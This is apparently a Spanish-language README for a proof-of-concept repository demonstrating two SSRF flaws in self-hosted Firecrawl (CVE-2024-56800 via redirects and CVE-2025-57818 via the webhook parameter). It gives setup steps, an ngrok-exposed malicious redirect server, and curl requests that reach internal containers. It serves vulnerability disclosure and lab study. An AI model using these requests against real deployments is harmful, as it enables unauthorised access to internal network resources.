cve-2024-56800 POC

Referencia

https://nvd.nist.gov/vuln/detail/CVE-2024-56800

https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec

https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734

Vulnerabilidad

Firecrawl es un raspador web que permite a los usuarios extraer el contenido de una página web. Las versiones anteriores a la 1.1.1 contienen una vulnerabilidad de server-side request forgery (SSRF). El motor del raspador acepta que los sitios web redirijan a cualquier dirección IP local, lo que provoca la filtración de recursos en el servidor privado.

Está en apps/api/src/controllers/v1/scrape.ts

la entrada del usuario no se sanitiza y se permite que sea una dirección IP privada. Cuando se usa 127.0.0.1, en realidad redirige a la red local de firecrawl, lo que filtra el servidor interno del servidor firecrawl.

Cómo usar este POC

1. descargar este POC

git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc 

2. iniciar un servidor firecrawl autoalojado

cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..

3. iniciar un servidor malicioso

cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server

4. publicar el servidor malicioso

La razón es que el servidor firecrawl bloquea las URL privadas. Si no quieres hacer público el servidor, creo que puedes simplemente comentar la validación directamente en firecrawl.

Aquí solo escribo lo que hice. ngrok:

ngrok http 8000

5. ejecutar el raspador

curl: (recuerda pegar la URL correcta)

curl -X POST http://localhost:3002/v1/scrape \
      -H 'Content-Type: application/json' \
      -d '{
        "url": "https://xxxxx.ngrok-free.app",
        "formats": ["markdown", "html"]
      }'

scraper.py

cd scraper

!! abre el Dockerfile y cambia la URL por la que acabas de generar

docker build -t scraper .
docker run scraper

salida esperada

Cómo funciona el POC

Código fuente vulnerable

Al iniciar el servidor firecrawl autoalojado, se habilitan 5 servicios, uno de ellos es firecrawl-test-1 (consulta más detalles con docker ps). Como estos 5 servicios están configurados para estar en la misma red, pueden conectarse entre sí usando el nombre del contenedor al que quieran conectarse.

p. ej. (conectarse a firecrawl-test-1)

ejecutando curl directamente en la máquina local:

curl http://firecrawl-test-1:80
or
curl http://localhost:80

ninguno debería funcionar porque no están en la misma red que firecrawl-test-1

Sin embargo, accediendo desde firecrawl-api-1:

docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80

esto debería mostrar los datos correctos porque están en la misma red.

En el servidor malicioso, redirige a http://firecrawl-test-1:80, que solo debería funcionar para la red de firecrawl. Por lo tanto, lograr alcanzar el servidor firecrawl-test-1 significa que el raspador redirige a su servidor interno con éxito. Esto demuestra cómo funciona el SSRF para exponer recursos en un servidor privado.

CVE-2025-57818

Esta también es una vulnerabilidad SSRF. Ocurre en la API de crawl, donde el parámetro webhook no se sanitiza; los atacantes pueden enviar una solicitud POST a una red local de firecrawl.

Está en apps/api/src/services/webhook.ts. El problema es que la entrada webhookUrl no se sanitiza

El webhook hará una solicitud POST a la URL especificada. Aquí la configuramos a 127.0.0.1 y se conectó al servidor interno con éxito

curl -X POST http://localhost:3002/v1/crawl \
     -H 'Content-Type: application/json' \
     -d '{
       "url": "https://example.com",
       "webhook": "http://127.0.0.1:80"
     }'

El servidor interno recibió la solicitud POST con éxito